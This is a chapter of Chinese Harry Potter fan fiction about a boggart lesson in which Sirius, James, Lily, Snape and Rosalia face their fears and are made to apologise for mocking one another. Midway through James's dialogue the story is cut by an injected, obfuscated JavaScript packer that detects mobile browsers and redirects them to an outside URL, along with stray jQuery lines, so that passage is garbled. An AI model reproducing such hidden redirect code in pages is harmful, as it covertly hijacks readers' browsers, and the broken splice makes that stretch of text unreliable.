【他就是在针对你，西里斯。】


    【也可能是对“布莱克”有意见。】


    【莱姆斯，你又在帮拉文谢德说话！】


    【抱歉，我只是从称呼上这样判断。】


    摇滚乐早已暂停，学生正在挨个接受点名。小天狼星垂眼看着在他眼皮底下左右传递的纸条，手里捏着酸棒糖包装袋，时不时发出一些“簌簌”的细微动响。


    【拉文谢德家的事，西里斯开学那会儿就知道了。】


    【你不也知道？我记得你说过渡鸦的事。】


    【没错，那是罗萨利亚跟我说的。西里斯又是从哪儿听来的？】


    【家里人说的呗，老一辈人都知道吧。】


    【对呀，詹姆。】


    小天狼星盯着滑来滑去的纸条看，突然把那包恶作剧糖果丢开了，道：“我想起来了。”


    “想起什么？”詹姆马上问。


    “……直面恐惧需要勇气，而这两种情绪都源于我们自身，无需因产生前者羞耻，也不必为拥有后者自负……”课堂已经正式开始。


    小天狼星扯过羊皮纸“唰唰”地写道：


    【我第一次听说拉文谢德的事是在八岁。】


    “八岁？你记得那么清楚？”詹姆低声问。


    小天狼星竖起一根指头放在嘴边：


    【毕竟那年我因为雷古勒斯被我妈关了一个夏天。但这不是重点。在那不久前，我一个叔叔来过家里，不知道为什么和我妈吵起来了，他嘲讽我妈和我爸是表亲联姻，然后——】（1）


    一条墨迹划了出去，詹姆抢过纸条：


    【你妈和你爸也是血亲婚姻？？？】


    “……产生恐惧和产生勇气所消耗的情绪力量一模一样，重点在于怎么转化它们。这一点也会体现在你们的魔法技艺上……”


    小天狼星面不改色地揪回来写道：【对。现在你知道我为什么恶心这个了。反正我叔叔说完后，我妈就骂到了拉文谢德头上，提到了他们族内通婚百年的事……但是她为什么突然骂拉文谢德呢？】


    小天狼星的羽毛笔不动了，笔尖落在问号上，洇出了墨汁。


    【为什么呢？】詹姆伸手写道。


    【你叔叔是不是认识拉文谢德家族的人？】卢平伸手写道。


    “……因此我不允许任何人嘲讽和议论别人害怕的东西，或者拿来开玩笑，公开和私下里都不行……”


    小天狼星立刻把卢平的话圈了出来：


    【很有可能。我要写封信问问他。】


    【你们关系很好吗？】詹姆问。


    【我偶尔会趁家里人不在的时候跑去找他。本来我也想带上雷古勒斯的……他不配。他就是个只知道争宠的蠢蛋。】小天狼星轻蔑地写完，忽然抬头瞄了一眼唱片机，手上又动了两下：【另外，那首歌，我其实就是在他家听到的。】


    “现在，”讲台上，阿莱西奥挥挥手说，“大家拿起魔杖，观察轨迹，跟我念——‘滑稽滑稽’。”


    “滑稽滑稽！”


    “正是如此。我要请所有人到过道上来站成一排——温馨提示，你们最好跟自己的好朋友挨在一起，以便能在需要时获得他们的帮助……”


    卢平轻拍小天狼星的肩膀：“我们要对付博格特了。”


    “就这玩意？”小天狼星随手把羊皮纸捏成一团丢进口袋。


    “闭着眼就搞定了。”詹姆也站起来说。


    彼得默默地贴紧了他们。


    摇滚乐重新从魔法唱片机中跳出来。学生们三三两两抱作一团，排了条长队出来。


    “它会变成你最害怕的东西。”莉莉小声说，抱住了罗萨利亚的胳膊：“我想我知道自己的博格特会是什么了。”


    罗萨利亚则拽住了斯内普的巫师袍说：“我想我也知道我的……”


    斯内普回头看了罗萨利亚一眼。


    莉莉轻轻地问：“是……白鼬吗？”


    罗萨利亚摇摇头，贴着莉莉的耳朵说：“其实我是怕看到猫咪死掉，莉莉。我当时那么害怕是把白鼬当成一只死猫了。”


    “天啊。”莉莉的脸皱起来了：“你、你以前见过吗？那你肯定很难过，罗萨，我是说你会害怕这个一点儿也不奇怪……天啊，我想到了阿黑，我也害怕这个，雷古勒斯一定也害怕……”


    “你呢，莉莉，你认为自己的博格特会是什么？”罗萨利亚问。


    “我……等下你们就知道了。”莉莉咕哝道。


    阿莱西奥放出了博格特，它在一个格兰芬多面前变成了一幅骷髅架。一声发抖的“滑稽滑稽”过后，骷髅架换上了芭蕾舞裙，跳起了《天鹅湖》。


    几个学生发出一阵大笑。格兰芬多学生从阿莱西奥手里领走了一块滋滋蜜蜂糖。


    “你现在可以面对它了吗？”队伍越缩越短，斯内普朝罗萨利亚偏过脑袋，轻声问。


    罗萨利亚知道斯内普在说什么，她眼睛盯着前方的博格特，勉强扯了扯嘴角，凑近他说：“不能……我没法想象具体的画面。但我觉得最先出现的应该是书包……所以问题应该不大。”


    斯内普点点头，然后……抬手搓了一下自己的耳朵？


    这什么意思？


    罗萨利亚瞬间想到了阿尼玛格斯那晚他被她咬了之后不停甩手的样子，于是又朝他耳边吹了一口气。


    “你……”斯内普的耳朵红了，不知道是不是他自己搓出来，他愕然地扭过脸来，“你在干什么？”


    “谁让你嫌弃我？”罗萨利亚理直气壮，低声说：“这次又没有口水。”


    “……我不是这个意思。”斯内普道。


    此时，潘多拉尖叫一声，抱住了爱米琳。她紧闭双眼对地上的弗洛伯黏虫大喊“滑稽滑稽”，喊了好一会儿才把它塞进轮滑鞋。两个人从阿莱西奥那里领走了巧克力球。


    很快队伍就排到了斯内普。


    罗萨利亚有点好奇地垫起脚，只听一声鞭响，博格特变成了——


    一个浑身脏兮兮、穿着孕妇服和过大外套、坐在地上抱着膝盖的干瘦男孩。


    可这男孩只出现了不到一秒，就被一口拔地而起的、盛满魔药的巨大坩埚装了进去，消失不见了——斯内普略有些急促地念出了滑稽滑稽咒语。


    同时，罗萨利亚听见巴格曼在后面嘀咕了一句：“为什么要把食尸鬼放到坩埚里？”


    斯内普回头，越过她和莉莉狠狠地瞪了巴格曼一眼。


    巴格曼满脸疑惑。


    那可不是食尸鬼。罗萨利亚心想。那就是“斯内普”。


    只不过博格特变出的“斯内普”，看起来像从某个更孤立无援的平行世界抓过来的一样……


    也许斯内普害怕的，正是那样的自己。


    阿莱西奥已经微笑上前，送出了一块奶油花生糖。


    现在轮到罗萨利亚了。


    “加油罗西娜！”阿莱西奥鼓励地看着她，比了这句话的口型。


    罗萨利亚抿着嘴点点头，看向巨大的坩埚。


    下一刻，坩埚“啪”地一声变化了。


    它不出所料地变成了一个书包。


    罗萨利亚僵硬地举起了魔杖。


    她感到自己有点儿发抖，并且已经顾不上阿莱西奥会怎么看待这只书包了，只想着快点念咒。然而，就在这时，那书包忽然动了动，仿佛有什么东西在里面挣扎。


    她的“滑稽滑稽”就这么卡在了喉咙里，像齿轮一样发出了咔咔的呻吟。


    罗萨利亚听见身后的莉莉和没走远的斯内普分别低声说了句深呼吸。可她却做不了那么多反应。


    因为一个诡异的念头清空了她的大脑：


    再等等的话，她说不定能看到自己那只死去多年的猫。只要再拖延一会儿，它也许就会从书包里钻出来，她就还能再见它一面——但是它也可能会——也可能——


    “……罗萨利亚？”


    可阿莱西奥忽然出声了。


    罗萨利亚如梦初醒般喊道：“滑稽滑稽！”


    地上的书包“嗖”地长出了四条腿，满地乱窜起来。有几个学生在笑。罗萨利亚还听见了潘多拉的笑声。这大概是一个成功的滑稽滑稽。她看着乱跑的书包，缓缓地将魔杖放下了。


    罗萨利亚摸摸自己的额头：她又出汗了。不过并不严重。她想扭头冲莉莉和斯内普笑一下表示自己没事，谁知一侧身，先瞟到了小天狼星猛缩回去的脑袋。


    与此同时，阿莱西奥走上前低声说：“做得很好，罗西娜，喏，你的椰子冰糕，我记得你爱吃这个。”


    罗萨利亚看着掌心的冰糕，心里忽然好受了许多——因为她确实爱吃这个。


    接下来是莉莉。


    她举着魔杖，对准乱跑的书包。“啪”一声。书包变成了佩妮，她正厌恶地看着莉莉。


    莉莉大喊：“滑稽滑稽！”


    然而“厌恶的佩妮”只是“啪”地一下变成了“愤怒的罗萨利亚”。


    “滑稽、滑稽！”莉莉努力念咒。


    “啪”，“愤怒的罗萨利亚”变成了“轻蔑的斯内普”。


    “滑稽滑稽——”


    这一次莉莉成功了——“轻蔑的斯内普”一下子长出了猫的脑袋，还露出了炸毛的神色——但是罗萨利亚忍笑失败了。莉莉慌张地跟黑着脸的斯内普道歉：“对不起西弗勒斯！我只能想到阿黑了——”


    阿莱西奥“哎呀”了一声，及时挥杖将博格特关回箱子里，避免引起队伍后面更多人的注意。他向莉莉递出了奶油薄荷糖，还顺手多给了斯内普一块加以安抚。


    三个人结伴回到了座位上。


    莉莉哭丧着脸说：“我就知道——我最害怕你们用那样的表情看我！我完全不知道该怎么办了……”


    罗萨利亚笑着保证：“那我下次可不敢在你面前生气了，莉莉。”


    就在这时，队伍前面猛地发出一阵爆笑，紧接着是詹姆的一声大吼：“这不可能！我就从没从扫帚上掉下来过——不许笑——滑稽滑稽！滑稽滑稽！它怎么不变—


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17049724|192924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    —滑稽滑稽！”


    莉莉侧着身子望去，结果在博格特本该在的位置看到了一个怎么也爬不上扫帚的“詹姆”。同时，巴格曼在回答他的困惑：“因为这本身就好笑哈哈哈哈！”


    她听完，也“噗”地一下捂着嘴笑了。


    詹姆仿佛听见了，他马上转过那张通红的脸，对莉莉咬牙切齿说道：“你笑什么——这是假的——我——你怎么不笑鼻——斯内普？这对他来说才是真的吧！”


    莉莉当即变了脸色：“詹姆斯·波特！”


    罗萨利亚拍桌而起，冷声道：“他可不怕这个，你呢，不过是连出糗都怕的软蛋——”


    小天狼星立刻开口：“那你连——那你还不是一样会害怕？”


    “安、静！”


    一道严厉的声音压过了所有嘈杂。


    阿莱西奥脸上的笑意没有了，他又一挥魔杖，将爬不上扫帚的博格特“咣当”一声砸进箱子里。魔法唱片机的摇滚乐戛然而止。


    他清晰地说：“我特意强调过不允许任何人嘲讽和议论别人害怕的东西，告诉我——现在课还没上完一半，你们就忘光了？”


    教室里连糖果包装袋的声音都没了。


    随后，阿莱西奥的语气又温和了下来，看着前排队伍中的一个人说：“卢多维克，你还记得吧？”


    巴格曼心虚地搓了搓手说：“呃，是……对不起教授，毕竟难得一见嘛……”


    阿莱西奥说：“我觉得你该看着詹姆斯说这话。”


    巴格曼“哦”了声，对詹姆说：“对不起了哥们儿，毕竟这事儿很难发生在你身上，我不是故意的。”


    詹姆斯的脸色稍微好看了一些，但很快又僵住了。因为阿莱西奥将目光转向了他：


    “接下来是你，詹姆斯，转嫁矛盾是你先起的头——我有没有说错？”


    詹姆瞟向莉莉，想要开口说什么，又硬生生憋了回去：“……是。”


    “你知道被人嘲笑不好受，为什么还要这么对待别人？”阿莱西奥轻声问：“还是说，比起成为优秀的魁地奇明星——我听麦格教授说你很有潜力——你更希望被看作是喜欢嘲笑别人的人？”


    詹姆斯的脸重新涨红了：“不！我没有——没有这么想——我只是——但他不算，你不懂，他是例外——”


    “我很遗憾，”阿莱西奥仿佛知道他要表达什么，轻轻地说，“但你们是一样的，詹姆，两个眼睛一个鼻子，没有例外。”


    詹姆仿佛难受得说不出半句话来。


    小天狼星见状，眉头一拧，张开嘴巴，可阿莱西奥蜜色的眼睛掠过他落到了罗萨利亚身上，更快一步说：


    “还有你，我亲爱的孩子，”他说，“我想你刚才骂人了。”


    “是的。我承认这一点。”罗萨利亚平静地说：“您可以扣分或者关我禁闭，但除非波特向西弗勒斯道歉，否则我也不会跟他说对不起。”


    “我也用不着你的对不起。”詹姆当即小声说。


    “很不幸，你们都用得着，”阿莱西奥说，“我要你们都跟对方说对不起。也包括你西里斯，尽管你及时止损了。现在相互道歉吧，按照你们刚才嘲讽别人的顺序来。”


    詹姆：“什么——？我跟斯内普道歉？我不要——”


    “教授！”莉莉突然出声了。


    她从座位上站起身，走到詹姆面前，说：“让我先开始吧，其实我刚才也嘲笑了詹姆斯·波特——对不起，波特！”


    詹姆愣在原地，耳朵红透了。


    阿莱西奥惊叹地鼓掌：“莉莉，你不愧是格兰芬多。”


    “谢谢您教授，”莉莉注视着詹姆说，“但其实我只是有勇气承认自己错了——你做得到吗，波特？”


    “你——我——你瞧不起谁呢伊万斯？”詹姆握紧了拳头，扭头面向斯内普，眼神看上去不像要道歉反而像要骂人，他把话从牙缝里挤出来：“对、不、起——行了吧？”


    于是罗萨利亚也瞥了眼詹姆：“对不起。”


    小天狼星撅着嘴，看也不看罗萨利亚，拖着腔调道：“对不起——”


    终于，唱片机重新播出音乐，阿莱西奥开始微笑了。他拍拍手，变出了一堆糖果：“好孩子们，一人一块，我们继续上课——我希望接下来别再出现类似的情况了。”


    莉莉朝阿莱西奥掌心伸手，却险些和詹姆的手撞在一起：他们瞄准了同一块吹宝超级泡泡糖。詹姆“嘁”了声，改拿旁边的胡椒小顽童。莉莉也“哼”地改选了冰糕球。罗萨利亚上前，又拿了一块粉红椰子冰糕，回到座位上塞给斯内普，防止他因为詹姆的“道歉”吐出来。而小天狼星晃悠悠走过来，手掌向下——


    丢下了那包酸味爆爆糖。


    他冲着阿莱西奥挑了挑眉，拎着一只尖叫糖耗子往座位上走去。


    “你去哪儿，西里斯？”


    小天狼星紧随詹姆的脚步顿住了。


    阿莱西奥笑眯眯地接着说：“你不是还没面对博格特吗？急着回去干什么？”